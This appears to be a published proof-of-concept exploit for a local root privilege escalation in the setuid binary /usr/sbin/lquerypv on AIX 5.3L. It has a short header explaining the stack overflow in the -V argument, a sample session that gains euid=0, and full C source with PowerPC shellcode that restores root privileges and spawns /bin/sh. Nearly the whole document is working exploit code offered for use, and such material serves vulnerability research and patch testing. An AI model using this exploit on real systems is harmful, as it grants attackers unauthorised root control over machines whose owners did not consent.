AIX 5.3L /usr/sbin/lquerypv Local Root Privilege Escalation

/*AIX 5.3L /usr/sbin/lquerypv local root privilege escalation 
* ===========================================================
* AIX5.3L includes a setuid root binary "lquerypv" which contains a stack-based
* overflow in the handling of -V command line argument. However, prior to the 
* vulnerability being triggered the binary drops privileges. On AIX you can 
* restore the dropped privileges using seteuid() which results in a local root
* LPE vulnerability.
* 
* e.g
* bash-4.4$ ls -al `which lquerypv`;id;uname -a;oslevel
* -r-sr-xr-x   1 root     system        27160 Apr 28 2006  /usr/sbin/lquerypv
* uid=202(user) gid=1(staff)
* AIX aix53l 3 5 000772244C00
* 5.3.0.0
* bash-4.4$ ./aix53l-lquerypv
* [ AIX 5.3L /usr/sbin/lquerypv local root privilege escalation exploit
* # id
* uid=202(user) gid=1(staff) euid=0(root)
*
* -- Hacker Fantastic 
* (https://hacker.house)
*/
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <unistd.h>

char shellcode[]="\x7f\xff\xfb\x78" /* mr      r31,r31 (nop)          */
                 "\x7c\x84\x22\x78" /* xor     r4,r4,r4         */
                 "\x7e\x94\xa2\x79" /* xor.    r20,r20,r20            */
                 "\x40\x82\xff\xfd" /* bnel    (setreuidcode)         */
                 "\x7e\xa8\x02\xa6" /* mflr    r21                    */
                 "\x3a\xb5\x01\x40" /* cal     r21,0x140(r21)         */
                 "\x88\x55\xfe\xe0" /* lbz     r2,-288(r21)           */
                 "\x7e\x83\xa3\x78" /* mr      r3,r20                 */
                 "\x3a\xd5\xfe\xe4" /* cal     r22,-284(r21)          */
                 "\x7e\xc8\x03\xa6" /* mtlr    r22                    */
                 "\x4c\xc6\x33\x42" /* crorc   cr6,cr6,cr6            */
                 "\x44\xff\xff\x02" /* svca                           */
                 "\xaa\x06\xff\xff" /* 0xaa = seteuid 0x06 = execve   */
                 "\x38\x75\xff\x04" /* cal     r3,-252(r21)           */
                 "\x38\x95\xff\x0c" /* cal     r4,-244(r21)           */
                 "\x7e\x85\xa3\x78" /* mr      r5,r20                 */
                 "\x90\x75\xff\x0c" /* st      r3,-244(r21)           */
                 "\x92\x95\xff\x10" /* st      r20,-240(r21)          */
                 "\x88\x55\xfe\xe1" /* lbz     r2,-287(r21)           */
                 "\x9a\x95\xff\x0b" /* stb     r20,-245(r21)          */
                 "\x4b\xff\xff\xd8" /* bl      (setreuidcode+32)      */
                 "/bin/sh";

int main(int argc,char* argv[]){
        char *env[] = {NULL};
        char *buffer = malloc(2048);
        long ptr;
        char *argp[] = {"lquerypv","-V",buffer,NULL};
        setreuid(0,0);
        if(!buffer){
                printf("[ malloc() failure\n");
                exit(-1);
        }
        printf("[ AIX 5.3L /usr/sbin/lquerypv local root privilege escalation exploit\n");
        memset(buffer,0,2048);
        memset(buffer,'\x90',1044);
        ptr = (long)buffer + 1043;
        memcpy((void*)ptr,"\x2f\xf2\x2b\x54",4); //0x2ff22b54
        memcpy(buffer,(void*)&shellcode,strlen((char*)&shellcode));
        execve("/usr/sbin/lquerypv",argp,env);
}